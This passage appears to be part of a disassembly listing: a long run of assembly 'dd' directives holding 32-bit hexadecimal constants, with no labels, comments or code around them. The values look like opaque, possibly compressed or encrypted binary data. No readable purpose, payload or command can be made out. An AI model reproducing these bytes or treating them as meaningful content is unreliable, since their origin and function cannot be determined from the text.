0BB015A04h, 2039A97Ah dd 0DCA0A5ACh, 0ACD2AA9Dh, 34D56449h, 859D19A4h, 31A518FDh dd 466F8h, 56434E47h, 78451C85h, 44A630EEh, 6CEDC511h dd 29062AE6h, 13F01A2Fh, 3FAC00A8h, 934D25F2h, 0A39C022h dd 0CB18E16Eh, 0CC40E6AAh, 0EC8A6D2Ah, 0B6812C66h, 58110D8Ch dd 4C10F2E9h, 141649C0h, 4300204Ch, 0CCFCFB73h, 0D0EAAC8h dd 6DA1CD08h, 68653001h, 0F7D19821h, 0D28C051h, 1B017062h dd 470511F1h, 0C1386020h, 3B7F7A17h, 78923800h, 16C748F0h dd 58A913B8h, 7F35A85Ch, 8103D171h, 51B052BBh, 0A12BC0A3h dd 2C9940BEh, 1E127C92h, 0C430EA86h, 8052699Dh, 0DA163663h dd 8421E03Dh, 4700DFCFh, 102E2B2h, 2D9D651Bh, 4C08E23Bh dd 2F74A13Ch, 9804D862h, 1410D0A1h, 48150094h, 0B1C790B4h dd 7CB2413h, 31F59AACh, 3EAB8C1h, 0AC208D89h, 1A0E03ADh dd 0B1F2811Eh, 0C0B30481h, 1A2060E3h, 7B56C240h, 277F0347h dd 0E1457CFEh, 884ABC2h, 4E94800Dh, 0CB00F75Dh, 0DEE4F4C2h dd 0D364AAh, 0D2BB7322h, 93479207h, 3A593202h, 816163B7h dd 3FB8E7A4h, 0A08F3860h, 3FA807F8h, 0F57F49h, 0F6960B20h dd 671068EBh, 0A979D35h, 12FC7C08h, 40A80B78h, 5C68A442h dd 561213DEh, 8802F396h, 42C65E31h, 88E508h, 0B5F7DCCBh dd 0D349A49Dh, 44BE3D34h, 5E6A011Ch, 0AA272FB0h, 3DC5C4D6h dd 0C2801309h, 7F880070h, 907257BCh, 64C70180h, 6F2F8629h dd 0F360832Eh, 7133CA4h, 72AAE08h, 79321383h, 9CEFF823h dd 0BA0454Fh, 0B1B8D09Ch, 490FD11Ch, 41595E9Fh, 368AA15Ch dd 0A0EDE98Bh, 9EC4F882h, 74F7C868h, 1D46A4Dh, 0A13F3A12h dd 0E8807298h, 817B5F0Eh, 0EB3ABE46h, 0A72A8189h, 2B93C09Fh dd 13E25F0h, 529E09EAh, 32475045h, 432FC5F8h, 0C326490h dd 9031505Ah, 0A0D8E952h, 0B85E60E4h, 2598C357h, 5F7D88A0h dd 0CF0DA700h, 8FA0EA45h, 20B4988Ch, 904239Fh, 0E39EC69Bh dd 92AC8092h, 5BD4F0CCh, 70F054F8h, 0FA2D9B01h, 21B3C744h dd 0A00801D4h, 4D6E30F3h, 4A6A5409h, 0AA8C4B15h, 0CD7840E8h dd 113A12C5h, 0EF470738h, 50B62A7h, 0D9D0F4C0h, 431F9103h dd 707BC32Fh, 0CB573C70h, 9A9400DEh, 0C7B31FA1h, 0E872FCB8h dd 68064F26h, 0B6DAE00h, 259DDDE0h, 80041CEh, 77540302h dd 94619A14h, 0D70840FCh, 44DC758h, 39107A81h, 0D85978ACh dd 0DCF8C38Ch, 0DCAB2C26h, 8440E889h, 0F8814A04h, 0CB004F70h dd 0AD0247D2h, 33960E6h, 3588C009h, 81250076h, 21AE9BA3h dd 0F10E5657h, 0F9D5A1B3h, 8F201638h, 5B870368h, 3486E2C9h dd 0D88AF3CAh, 89FCC820h, 1490A289h, 8A509CCBh, 5E007E88h dd 8995E967h, 9A7C3A0h, 26D355B8h, 84D6F404h, 3F8B008Ch dd 2FDF5DDBh, 0C4E49228h, 211EDD05h, 0B0047285h, 74018ED6h dd 7AC39D63h, 74585C09h, 51FB005Ch, 974D0F1Bh, 42BB3Fh dd 47FD899Fh, 4A7895B8h, 8DF4E059h, 1C377680h, 0FC87909Dh dd 0C0C6A71Eh, 0FA43D156h, 0AA31A108h, 0F71928A5h, 75D262ECh dd 78551813h, 0CB0208C5h, 9CC0965Fh, 0D3BE4FF8h, 1CA42C38h dd 27086048h, 0EDA8C0A7h, 0BE12EE0h, 0AF2700E0h, 0DF8A670Ch dd 0F675EF00h, 1F06F902h, 5B3125A1h, 2678F872h, 0AC5F9C2Ah dd 0A748ED1Fh, 50A4CC5h, 0FA708Ch, 4EFCDE6Ch, 0E2B35A32h dd 0B7AA4800h, 9DD6350Ch, 0CC625468h, 0B8A3657Eh, 0C8FD14A0h dd 0F5124306h, 0B907D669h, 0EABA742h, 0D29D11A0h, 3338D7BAh dd 35AAA138h, 0CC452C60h, 0E09B2Ch, 0DCB50E44h, 3285C33Eh dd 785C312Ch, 83173F89h, 14BD6C0h, 9FE27510h, 2C149DDFh dd 204C2E30h, 5B96A448h, 140B610Bh, 6A54B68h, 306159B8h dd 0C31C42F9h, 0A4F35484h, 80E1443Ch, 0A6EAC670h, 9A6903A8h dd 0E40F2C1Ch, 885C2940h, 920B1630h, 486CD8BBh, 0DDCCB4DAh dd 0C672D278h, 0FB91A4A8h, 0F162BE01h, 45D89D15h, 0E9F54881h dd 707F1838h, 5103047Ch, 0ED9D14EAh, 6D203ED9h, 78FDA700h dd 0D23D3B48h, 0A8E409FCh, 0DAA4EC5Dh, 0F8744460h, 3B7C18EEh dd 36B6F2ADh, 3DDD18C1h, 0CC7147CAh, 0C2C72982h, 0FA8BF3C4h dd 8794FCA4h, 9099E550h, 1379B020h, 948130CAh, 8868007h dd 0EA02D23Fh, 61CAF46Dh, 6FDD0BA4h, 80412EAh, 9300C14Dh dd 29387304h, 0E42D0A3h, 0DCAB0356h, 0FAA41010h, 0AF085B00h dd 7425D44Bh, 2FEDB406h, 482789h, 4856FF88h, 7BC6D0BFh dd 6A601A69h, 35450BCh, 0AE7B473h, 21C6D5CBh, 2F53D498h dd 3C9F9F9Ch, 48424256h, 40273F12h, 0A44E5244h, 1070B9ACh dd 13CC5849h, 0BC205F12h, 0B14A8B9Bh, 2D80A21Ch, 5C34945Dh dd 0F3BC60FFh, 85C45255h, 1BB04F40h, 6D10FCA3h, 1C225E9h dd 5A19DAF8h, 0C31739F0h, 5C18D848h, 0A961A2C1h, 0DB114C10h dd 0A172A113h, 3FC4485Ch, 88B960B8h, 121498A7h, 10EC5C6Fh dd 243AFA10h, 0CA6280EEh, 13B47107h, 0B49C0E5Dh, 4354AF0h dd 7CB3861h, 0D42D9021h, 0AB020494h, 80A82821h, 8098D4C6h dd 2D949A20h, 2C912DADh, 0F708813Dh, 6F9D04F6h, 1B20C031h dd 0CABF2C4Dh, 35A901C4h, 0D1AC9CA3h, 0F6A8E489h, 6533E717h dd 1279FC00h, 6BD80FAh, 4FA19EDDh, 7E00788Bh, 4965FF7Fh dd 0CB2EF6Ch, 7757CB0Eh, 4F2648A8h, 0EEE47050h, 3115C0D1h dd 7A8123Fh, 80BC3244h, 0C6956139h, 412A5830h, 13CDA2h dd 0E315D638h, 82FD908Dh, 0BE3D24B0h, 282F34CBh, 3E8298D7h dd 681C62A4h, 13FA2A7Ch, 0C3645C3h, 0C5110C14h, 90AB8E2h dd 0A44D4228h, 0AE4F5E07h, 0B0B3EDC4h, 1F20C043h, 1E207748h dd 0F5925A79h, 9CD118C3h, 3020A099h, 41F49CF1h, 29628730h dd 0F5178474h, 9869A8CCh, 0A1C70E51h, 9FB17Dh, 129EE03Eh dd 0E832CB15h, 1249910Ch, 52C67084h, 0A8213085h, 8451494Ah dd 20A9792Ah, 0F22F1FACh, 44940D41h, 399D2F1Ah, 0DD14C018h dd 84045C4Dh, 31311E8Dh, 41744054h, 6C05FF09h, 0FAE4D9Dh dd 2D4C14CCh, 241BC797h, 28F83948h, 0C1078489h, 9AB7CC74h dd 0C42C8580h, 523200F2h, 134259C7h, 4B7B42Fh, 7C88DA14h dd 0B827E93Fh, 6B0C327Dh, 0D8449358h, 3DCD544h, 0F4C9EBBFh dd 303E6A3Bh, 80B2791Eh, 14234525h, 0DADCA270h, 93988894h dd 867099F5h, 0F074E448h, 29449C3h, 8616C12Dh, 0E7BE10BFh dd 0A0498704h, 1C60F090h, 80680641h, 0F8E29D82h, 0BB2ECC48h dd 6B16E4A0h, 0C707AA00h, 1E3913B6h, 0A87DF7DDh, 81010B3Dh dd 0B92F52A0h, 31503528h, 3876E034h, 0A48910C0h, 78FFF29h dd 0C04F444Eh, 0C03F059Dh, 791239A0h, 3A6F63EAh, 0CB190008h dd 0ABF21Ch, 2B1EE6Fh, 315A49AAh, 4752F8A0h, 46C14A01h dd 0E1C520F8h, 0B0EC440h, 0ADDC242Fh, 0B71007D0h, 0B0C98556h dd 8D18F340h, 0AE08153Ch, 830D0107h, 81096302h, 24CBDDC6h dd 78B0A354h, 75CC9004h, 14B39A2Fh, 7273A17h, 400CFA6Bh dd 0A8A2E91Eh, 0D485812Eh, 60364C8Eh, 0A39E665Ah, 0EAE0190h dd 0CC716314h, 0E12FC089h, 93528200h, 483BEF2Eh, 484CB87Eh dd 0F70EA8B9h, 676B2FADh, 944A5012h, 6463EC62h, 13CF05F0h dd 1E26B890h, 0AA8720B6h, 0D54A2193h, 1317DA0Fh, 0A19A09h dd 0CD7A5A78h, 0E6FB0048h, 0A0B78C89h, 93032165h, 0EF1E0E02h dd 0E9BCE0E3h, 0F9E70903h, 68093706h, 824B8CA2h, 47668000h dd 4D6F09BEh, 0C80B754Eh, 27C10900h, 0C82CD92Fh, 9C2A813h dd 0FC620B07h, 0D49E04A5h, 0CB409038h, 24BE95A2h, 1F4B6C10h dd 8815819Ch, 0E24DA952h, 500948F1h, 4C140B36h, 31189278h dd 8780D1DDh, 40307D42h, 0ED7FFCh, 7559B889h, 7290026h dd 73491C76h, 0A02560C7h, 5DC08074h, 0C40AB32Fh, 0A62AA659h dd 0F0DE8124h, 43C4C299h, 0CF4C32CBh, 0A48F8220h, 2D30A0A0h dd 1F073407h, 0C0EF1860h, 8C795930h, 0CB93002Ch, 0C9E8A389h dd 31F07B6Fh, 7717E301h, 51B08149h, 4BF3B441h, 31A971h dd 1EF430C0h, 0C0A60756h, 62517F43h, 0A112DE6Dh, 1C00BD3Ch dd 20E1E6C5h, 42B6009Bh, 4E56C341h, 0D279D0Eh, 5330206Ah dd 13E0E337h, 22E9C5D8h, 8060F5CCh, 5428F463h, 0A12FD877h dd 9DE80141h, 0BC40378Ch, 44682F58h, 0C618AB17h, 76406150h dd 4138980Bh, 35F86296h, 389539A8h, 16D80445h, 4927A8A6h dd 0B5CB18E9h, 84491F0h, 0C8E05415h, 0E8B5482Dh, 979DC304h dd 3A6C81AFh, 10C028DCh, 9A2EB992h, 94AA1680h, 19F8BDD4h dd 0DB81BA4Fh, 129960F0h, 432FA28Fh, 34ABF538h, 0E5470E81h dd 5AF3E0D6h, 9DD14805h, 0E8E28B89h, 429CFC2Eh, 6C54B669h dd 0A0CB1403h, 0B0680B40h dd 0C4C442BEh, 62934F26h, 5169B309h, 0D62F891Ch, 0A88850AAh dd 0BB5A00ECh, 3CC522A4h, 0FC0103CAh, 2BA3476Ch, 75C9E653h dd 4C792FF0h, 4DCBAC6Fh, 94436401h, 0F45C28D1h, 0CCA00485h dd 0AC24B387h, 0C0F60014h, 49DDB004h, 19DBB01h, 0EB54CB45h dd 0EC129C01h, 2705A233h, 88A1B82Ah, 0DF8528C7h, 86ABBC05h dd 0B7BF5090h, 957EE871h, 11847880h, 0EF89C644h, 0F04DE0F6h dd 0B930D88Ch, 4F5EB05Eh, 4CA19C03h, 5D98131Eh, 3B6800C2h dd 111D1228h, 379CCB13h, 0E8BDA8D2h, 136017E4h, 49633C2Fh dd 14021594h, 0DA02B6D9h, 0A271421Eh, 0C6EDAB2Ch, 74C3FF4h dd 400011EBh, 651F2F5Ah, 28610896h, 3D035786h, 0A5811016h dd 0C231817h, 75210071h, 1EB5F7C1h, 71C4F95Eh, 4885BD12h dd 3DFC4C99h, 0AA4F0648h, 48DD01CBh, 0F5D99500h, 104B5057h dd 12B1E843h, 0E39FE13Eh, 123A00E8h, 988ABC90h, 0ACBA0F88h dd 74978721h, 2F9D02D4h, 8084B155h, 0F734827Fh, 0D47DB485h dd 409C9DB8h, 9D924F20h, 0B8C0CA30h, 7D30C3h, 1FE88F4Ch dd 0A1A0EE45h, 39C4DE09h, 0F02458BBh, 103769ADh, 13042CF9h dd 88B8D71Bh, 50ECA116h, 0FE00BF64h, 34BFF57Bh, 0C101C842h dd 0B5063CFAh, 9C20A3C2h, 94A251E8h, 5C04F02Ch, 5C05A2Fh dd 27C749E5h, 78C07C74h, 5A8E2041h, 0AC2C34FCh, 750072B0h dd 0D303ACA0h, 10C742Ah, 0FDA73293h, 2079B976h, 0FF302F40h dd 8FF85833h, 25320B0Dh, 0AD065E7Eh, 0A3001866h, 0CF02AE9Ch dd 1EF8FE4Dh, 8C1B8489h, 0FD8001A2h, 8B7C6C7Eh, 0D5888500h dd 0A13607Ch, 6B5672A1h, 0C890F1C8h, 9D884AB2h, 8CFA4CC2h dd 0C2F4D7D6h, 9300BC8Eh, 42F8207h, 0FE61C322h, 431C9356h dd 60C9B1D1h, 9704816Ch, 0A5AEF55h, 12C9F0BCh, 4824502Bh dd 83848810h, 50E181D2h, 58DFAEE1h, 8E00D810h, 936989A1h dd 0BEE2DA03h, 0AE811D27h, 7A708938h, 4C4D4014h, 44151A25h dd 23AB26B4h, 0E7CE8A0h, 30C0F795h, 0D0C5340Fh, 4E0AB40Eh dd 0A05FE1B8h, 9024BDE2h, 0B0AA40BAh, 489221F4h, 0E09658A1h dd 500B5D41h, 40669DA3h, 0E4FFC04h, 0EFEEF9A9h, 2F930DA0h dd 0A60433EAh, 1A96A19Fh, 282C28E2h, 6450249h, 6B75630Eh dd 8E0E9D4h, 0A1C29838h, 24699B77h, 2B8C21ADh, 0F4FA9CA0h dd 0EFC8E116h, 8FC0797h, 7A42CB73h, 9DAF8780h, 58984C1Dh dd 0ABE39500h, 0AE687F07h, 5044BC43h, 734019A1h, 0E354037Eh dd 0CA017D04h, 60F21598h, 0EA5D9309h, 2D0C50A0h, 9400902Fh dd 0CBD29DDEh, 263068C6h, 78087460h, 2FDC09D7h, 74527B0Fh dd 27642D44h, 0BC32D638h, 9FCBE001h, 0AAD20752h, 9707311h dd 0D80ABC57h, 0E2B96C28h, 0EC13C25Ah, 0E88A8413h, 0A4D0104Bh dd 610B9120h, 27DFB4Dh, 72387920h, 7ECE0904h, 0E4820822h dd 705CDC76h, 24446BC2h, 0AD48C262h, 0C761345Ch, 44AAA045h dd 62FC5AA0h, 0E8929888h, 0C3A08868h, 47CC3D0Bh, 959444B3h dd 68F80492h, 77486360h, 96DCE478h, 50E6A5C4h, 344BCDF2h dd 5F00E88Fh, 1865A17Bh, 9D12C58Ch, 9800ABA6h, 1048F752h dd 6944214Ch, 8C898BDh, 0C4A8E710h, 0FB68A169h, 37451400h dd 1388FA92h, 1308F25Bh, 31D4A024h, 44824Ch, 70639647h dd 9C6638CBh, 0EDC7E1F8h, 58092AC4h, 0F4118A2Fh, 0F90A9D84h dd 5D313CD8h, 7A1098C4h, 430679ACh, 843ECB06h, 0B97B0358h dd 89709480h, 0EBEFA88h, 330B7C1Eh, 908A114h, 278121CBh dd 0C6C1FFF8h, 10811B52h, 439DB8F7h, 1E78BA9Bh, 6C0C7473h dd 33AD033h, 29A95014h, 0D8C85C32h, 211DB448h, 3E8B22ACh dd 9D98303Ah, 48826462h, 0C130EC52h, 0D12FEC5Dh, 1E128050h dd 0A1EA09C0h, 0A45A71EFh, 3414E8D7h, 4CF8E708h, 135CC348h dd 4881D3A8h, 0F5047023h, 4D5032F8h, 0B4984EC8h, 0F84240CFh dd 2C2FF00Ch, 15950D2h, 0B8795C9Fh, 0E0E1080Dh, 309E4BA6h dd 4400EF92h, 0C7934751h, 33F8002Ah, 25E2E4C5h, 2F121216h dd 70C809B7h, 7F7235B0h, 7D0C8011h, 533C060Eh, 588E00DCh dd 0D90D54E3h, 3A2FA87h, 9DD85B30h, 705A4DB2h, 9C4C5042h dd 42505619h, 704C25ABh, 0A161C09Eh, 18806263h, 0D9C3C485h dd 4C00F618h, 4F5AFED1h, 9403A059h, 8FF500F0h, 7B2F1C32h dd 5A0CC509h, 20180FC3h, 0CB7278B8h, 791264E5h, 1C50DC92h dd 7D8CA83h, 0D137E4B0h, 2B4954Ch, 2A7861BBh, 80ECF854h dd 9DA971Dh, 0D07183FCh, 28B56144h, 40C0562Bh, 0C7F51714h dd 714EC3DAh, 297C4044h, 0B00CCCA3h, 97815A67h, 8C994874h dd 8130458Eh, 98BE9D9Ch, 4F4C623Eh, 49C63723h, 93929450h dd 0D98A1E7Ch, 3D40E85Eh, 588193CEh, 0C848C4A9h, 7851E0C6h dd 0C1A76397h, 830C59Eh, 0C8CC595Eh, 9892C040h, 5C00094h dd 0A14761AAh, 3C171BB9h, 64A2161Fh, 98495974h, 1E3AD505h dd 0D260C0B3h, 6D416648h, 9104982Ch, 0BCAEAB81h, 0ECC4F418h dd 0D20730F2h, 0ED70A19Dh, 0C5888210h, 60442B6Dh, 21B5A4Ch dd 0E6450C63h, 0E8A0252Fh, 4DCBAE61h, 97608560h, 0C38DF9h dd 58A59027h, 0C66B948h, 6C6091D7h, 322F2446h, 88990F63h dd 81F0404h, 182565A6h, 4D78CBD4h, 601E70A7h, 9C61688h dd 0C8F07FA8h, 2FFB4097h, 7FA3FC77h, 9BE62694h, 0A0798008h dd 0B6613934h, 1CEACB16h, 0D498CCh, 0D333F054h, 6AD31D7h dd 959DBB1Fh, 21B07837h, 1930373h, 880F1929h, 0CCBB90B8h dd 0F9034E8Ah, 0C5DB3B7Eh, 0DA6790C2h, 4D470F77h, 42E0C839h dd 33123DA5h, 0F09F737Fh, 0F6C606F8h, 10F9485Ch, 561D2617h dd 8DDAE500h, 0F8CB1F95h, 9ABE00CCh, 94AB6348h, 0F6C1AFF7h dd 87405C41h, 96393980h, 1EB7F91Fh, 35B9E407h, 3EB08420h dd 3AB089Eh, 26C51CCBh, 7878A905h, 0A255351Fh, 0D7F81420h dd 0E700DA4Ch, 3E870F7Bh, 63905470h, 307EAA30h, 3D4CDB8h dd 0BE7A3BA3h, 0C80017EDh, 4209BD56h, 0F8CBEFC6h, 0A80263BAh dd 1FF055B0h, 0CE3C4CFFh, 0B1353FD7h, 82671A7h, 0CC8D4440h dd 0BFFD8002h, 802DC730h, 0F8E6F90Dh, 0B3B51888h, 67FEA020h dd 9C8DC70Ch, 3330A0h, 2913426Eh, 0BAEE46F0h, 653CC600h dd 204CBEE4h, 0EE5EE0D6h, 0D4C2505Ch, 8F60C62h, 0D7E07F24h dd 7180846Dh, 0C36A21E0h, 0CEB1B6F0h, 807901C1h, 872FB720h dd 600B8D93h, 0B4C678A3h, 9B320DCEh, 82FB102Ah, 8487689Ch dd 0AF0147D4h, 508C2810h, 0C1B1C610h, 8FC9B03h, 0F00F2583h dd 508D9CFFh, 69F1458h, 0EA96FDE7h, 0B605BA0Ch, 0C6DE66A4h dd 0A7AAFC0Fh, 44C072C2h, 3ADB7188h, 0D7964693h, 0CA8205E5h dd 0C29400B4h, 80A409D1h, 45C51103h, 0E4F71F6Ah, 3C2115BFh dd 4E8E4600h, 1C4AD92Ah, 0F650AE78h, 0BE18C208h, 0AAC854DEh dd 0FAF42010h, 0D78A5B15h, 820600E0h, 35C7D816h, 0A9DC3C5Ch dd 6751F150h, 905E3824h, 3D9A731Eh, 0F699F700h, 3ED3236Fh dd 0AC8A506Eh, 0A7FD00C5h, 0BEBAB537h, 39CB28D5h, 6CC20A9Dh dd 4860C18Ch, 723A30C3h, 0D71F5921h, 4979CC3Ah, 0BF81C70Ch dd 8FFAB8C2h, 23D81CA4h, 0F1F261B8h, 65AEE450h, 914609FCh dd 0B0228E8Dh, 4C48A5ACh, 1D000CD4h, 35DA7004h, 8A2E6Ah dd 0D0A60179h, 946CCA18h, 0A3F91200h, 4C5CB3FEh, 62B51D66h dd 0BEA8B0CDh, 46807542h, 9C7F4983h, 0BB9A5B0Ch, 0C0A46C60h dd 0C2B3C612h, 72F8460h, 19AF0E87h, 28981D5Ch, 905430BEh dd 0CA0788D8h, 5C5D3732h dd 0C44AF115h, 2D00203Fh, 1D978777h, 346950C9h, 0CB27EA3Eh dd 478F0A20h, 10755006h, 0A626F100h, 62E47F6Eh, 4631C0CCh dd 0E1F882E2h, 0BE382006h, 24D05BD1h, 19C2DA1h, 845C7377h dd 0C3F88545h, 5B80066Eh, 0C080AD3Eh, 9AB3BF58h, 13125D5Ch dd 9C089288h, 0F7FB0A96h, 0EF9108CCh, 4860E312h, 3A9BBAh dd 0BDFC60A6h, 0EAB535AAh, 1014EB13h, 7D6B8C01h, 0F8F38BA4h dd 7CD1879h, 1316A6B4h, 48F8C65Ch, 4CC7FB12h, 29EFC404h dd 7EECE200h, 651FD327h, 8B000EACh, 241E2633h, 0C15724D5h dd 0D2CD0660h, 36006803h, 869FDCB5h, 0C8E33A8Dh, 44961A9h dd 2001290Ch, 80DA04DBh, 4CEF1E18h, 0A050545Ch, 9044CE8Ch dd 84CF4808h, 1349E980h, 6C00FE82h, 3593A71Fh, 0F6338717h dd 48DE4C20h, 4808A7Fh, 4E0B110h, 5EE5AC07h, 0D0BCE8BDh dd 4B45147Fh, 8DC2FC25h, 5483F074h, 0C68B58BFh, 4C2E28Ah dd 0A1600800h, 754261Eh, 0DA40311Ch, 0B2D6031Fh, 2328C1CFh dd 344E6AC0h, 7630E500h, 0FEE17FBDh, 0E41D0004h, 0D49266BCh dd 0C04CC657h, 61CF1014h, 767E604h, 0F634C2ACh, 0BF2BC040h dd 8D94A704h, 93F128h, 0DB1BE0EFh, 34F902F6h, 2F98D03Fh dd 9BB9C063h, 139430FAh, 0CBA45Ch, 37786E35h, 91D59EFh dd 92348E2Ch, 2D8D9498h, 0A711A567h, 0D4C01083h, 0F100FF4Fh dd 47DB3EC9h, 1E3F1C3Ch, 9E945BACh, 9BCE1CD8h, 218EA700h dd 50A65C0Fh, 26DC46h, 0E40A9E1Ah, 86AB6892h, 724EAE00h dd 3AAD2366h, 373E14D8h, 3000A034h, 9C31CD56h, 0B0164FFBh dd 241F1F2Ah, 1A166090h, 0BE7821A8h, 9480FEC7h, 308DB5FAh dd 0BA2E2F09h, 5C580120h, 2881DC18h, 5F8E1383h, 585C33FBh dd 7FBE1F18h, 0C48750A2h, 62784CBBh, 277BAA0Fh, 1F74F640h dd 4C128FF8h, 842386C7h, 4604C477h, 0FD48C8EAh, 2FC5620Ch dd 4024B017h, 44122E6Ah, 10200625h, 0F4A25C2Bh, 906492A1h dd 0F8BE18B8h, 2B9120AFh, 97A2570Bh, 5BA82727h, 0E01005E8h dd 20C4308Ch, 0B30BEC8h, 40CC8819h, 0A10A0007h, 0E78A4E1Dh dd 3E285CD4h, 23328022h, 0F1EC0FFh, 18939D86h, 7E7203Eh dd 0D3EB4D9h, 3048ECE5h, 6178081Ch, 0E54EA304h, 48A48Ch dd 0DF1E7F81h, 0D896DB4Ch, 5471D424h, 172D9158h, 33012559h dd 4CE4B990h, 70C73024h, 686960BEh, 0A55C8EF6h, 2C1C4348h dd 0A9B700CFh, 8E6F6300h, 0AC424C68h, 0E0B5E400h, 0F6C20667h dd 0C3C59A04h, 0AC1179A7h, 0D5692Eh, 0F046F48Ah, 7188CFEh dd 0C6F06474h, 1290D37Bh, 0A12C3194h, 94F83023h, 255A2D0Ah dd 52885C04h, 2FBE84A2h, 0D008811h, 0F6682303h, 0E42C5Ch dd 678BA220h, 103E85FFh, 640425FDh, 38603188h, 0E99CBE51h dd 0DB281CC7h, 3B8F7973h, 21924DE6h, 9B0860h, 1D463CF6h dd 1E23F568h, 2C243AC0h, 415E0014h, 3C746A1Fh, 91E9A800h dd 5CDDDBF2h, 0B2041431h, 28268460h, 73320350h, 0C2A83826h dd 0C51F87FAh, 0C836AB8Eh, 202F00D8h, 0BEE61996h, 8C9479F1h dd 7F82AA80h, 24B31C0Dh, 0C587160h, 9201040h, 431B731Fh dd 0F000046Ch, 0F6EB90E3h, 2A8E2419h, 1DE29728h, 0CF4A09EEh dd 1DBE98A1h, 965E008Dh, 46658E4h, 4C9DD0DDh, 4145248h dd 0F9A93D28h, 5C1464C0h, 18F5617Fh, 0DD4CB7ACh, 33146020h dd 132B1E25h, 348DE4ACh, 0C952A811h, 8E16A500h, 24471B24h dd 0D3A0742Ch, 0A6318763h, 0CDA5FB33h, 0B6050800h, 1C93CD14h dd 0FBBED012h, 0C3C334C8h, 1052415Ah, 0E458508Ch, 0AC49A098h dd 46E85420h, 4C813490h, 73EFE1C9h, 28071068h, 8C60BD08h dd 0BACD8D8Bh, 0A3304048h, 510303A6h, 0F9CA8DEFh, 0BECD401Fh dd 0C828C09Ah, 2EA3CEE4h, 68640D3Ch, 7A5C05B8h, 3C74CAF4h dd 482BB18Dh, 0E060BEA3h, 20E4EA44h, 0F40FC5D2h, 80877621h dd 962ABCA4h, 19A60017h, 9561641Eh, 8A0F9CFEh, 1E4066Ah dd 0C9417A73h, 98619AEDh, 8DAD0800h, 0ACD959B4h, 13FC6229h dd 0BEA40448h, 0FF84D0BBh, 533A1B56h, 0D89878C7h, 44608D2Ch dd 488857B9h, 0A40C00D4h, 0BFED9CC7h, 14230642h, 38926A1Bh dd 71CDB930h, 168BCB1h, 0BBC6F50Dh, 304CB05Ch, 5E40C134h dd 8B1C30BEh, 0BA35AC58h, 70B44091h, 0D80A88D7h, 8064E342h dd 3EA43BA7h, 18DB6252h, 1C80A566h, 0FA1314A6h, 105CEF49h dd 4E732506h, 0B4183007h, 26028AE8h, 0E41318A6h, 12647268h dd 0D3FDB23Eh, 5DC12498h, 7C9474E9h, 23EF341Fh, 0AA0A0824h dd 10B0881Ch, 0BBE48F5Eh, 0DAB008B0h, 0F8204518h, 0F61F267Ch dd 59FA03C0h, 20DE6B3Eh, 0C0E00A4Ch, 368D95A5h, 68F1CADAh dd 7981728h, 0C9CCA940h, 8B00806Ch, 179ED1BCh, 7AC8BDA4h dd 4029678Dh, 0D409C0C9h, 8C006A14h, 98746935h, 11ED81Bh dd 0B0FC1734h, 31CE1AACh, 0FAE10088h, 82308DE0h, 0D3C740F2h dd 0C2BD03C6h, 2DA93E28h, 7745A819h, 1462A4D0h, 1C10FC27h dd 99CA9624h, 0F145DCE9h, 0D914E404h, 0BFFEB4D1h, 603C8DD0h dd 87F5201Bh, 72010AE7h, 0DB0F0371h, 0FCE1EC59h, 64A89074h dd 0C2C5F846h, 9600DF84h, 154AD66h, 68618B1Bh, 2037E34Bh dd 20C02128h, 0A164510h, 0B63500BBh, 26949D97h, 11E43EE0h dd 0BE3C0CBAh, 82E21AA7h, 59F04811h, 0E46D531Fh, 0AC28D72Ch dd 0C44501E8h, 0F042FC19h, 38C01670h, 0AEE35638h, 3DA0B868h dd 0D0038B43h, 0C5E08D96h, 0D4C8E002h, 6C1DECA3h, 0E01C0128h dd 5C11D8E2h, 1E6200B5h, 88366822h, 3B842C08h, 0DEADF083h dd 3690B414h, 21CBA6BAh, 14F00DCh, 3F043E83h, 18621C5Ch dd 2C6289FFh, 986CB809h, 0E2F64B02h, 8150FDBEh, 0BF359394h dd 0FA3CA022h, 2984753Fh, 0D1C845A3h, 41AEFF54h, 62D633C0h dd 8E468520h, 106DF425h, 612BF002h, 80E9C7C8h, 24A0A208h dd 86308D9Bh, 0BE3668B7h, 0A05F6B74h, 0E4271009h, 8C124F81h dd 9C401494h, 3E32375Bh, 90C39951h, 30D6A3C3h, 0BED2FB04h dd 20A2402Ch, 17BC7C4h, 0F81F44F6h, 4DBDC74h, 6C5C955Eh dd 3A250040h, 1E431A51h, 1447B58Eh, 13160802h, 0CA8C22D0h dd 0C220A072h, 1FB02C76h, 0B8C51514h, 2D0A6447h, 4584A143h dd 2F6088FAh, 5E60C182h, 0BD01E83Ch, 208DAED3h, 0F6F98881h dd 3ED1032Bh, 3828C407h, 1FBC07Bh, 0D084DFF8h, 820F3EB1h dd 64E41FB0h, 0D77C5898h, 9852F22Eh, 42255D8Bh, 0C08C5ACh dd 0DA48D724h, 0EE0050B8h, 0E49B7D77h, 33F33BAh, 0B1C6A587h dd 80856DCDh, 933489AAh, 1D5DE43Fh, 46C7F174h, 958018BBh dd 4EBD5CB9h, 45BC1C58h, 80FBAEA3h, 33CC5200h, 841E5638h dd 3CB88ECAh, 200020B2h, 68ADD7CDh, 4F3CC5DBh, 8BD30086h dd 96A84241h, 0BE340AABh, 2CB42E21h, 89B900CCh, 41E44F94h dd 0C65D313h, 7B872500h, 0F81CDF96h, 0B7CF0BB1h, 50017C7Fh dd 480ED6C1h, 0CEE2B580h, 0C051442Eh, 5D8508h, 0A4268246h dd 0C26740CBh, 7C2AD30h, 6CE0C0C3h, 37A7D84h, 5C363E56h dd 0DBE04FF6h, 0C70F0626h, 0A339E6h, 65C09058h, 0F9BE2622h dd 1A79358h, 6F3EA578h, 0BFC84042h, 48B887CFh, 0C4A8992Ch dd 3913DB9Fh, 7093BC85h, 10A2BAAFh, 0F5DECBEh, 18FC5994h dd 16102F30h, 65260F83h, 51792CDCh, 9E07732h, 13C743FDh dd 0A1CE9A3Ch, 0C626B384h, 1D8CA2D2h, 822C6AC5h, 20DA126Ch dd 0C2F0818Eh, 28F364E2h, 3ED40F3Ch, 0F3381815h, 0A2D71751h dd 0B341FADh, 80268F01h dd 0E320F8F2h, 6A760041h, 8096064Dh, 2B2C8ABEh, 0E3E02863h dd 36C245Eh, 8D92D2B1h, 18000D6Ah, 0ED749CC6h, 0A88A62DBh dd 8030F088h, 293CF398h, 5431A4CAh, 0EAC0E51Fh, 0C59BC62Ch dd 6CC93D1h, 0F04A2F5Bh, 0D090CF7Fh, 7C183E12h, 0EE9074CCh dd 26927DA6h, 0BEEC10ADh, 87488712h, 5CE2BE38h, 68ECE381h dd 0A8908490h, 1A68EB67h, 5B4893D0h, 2105BBDh, 0A61BAF54h dd 2E0268E6h, 96870724h, 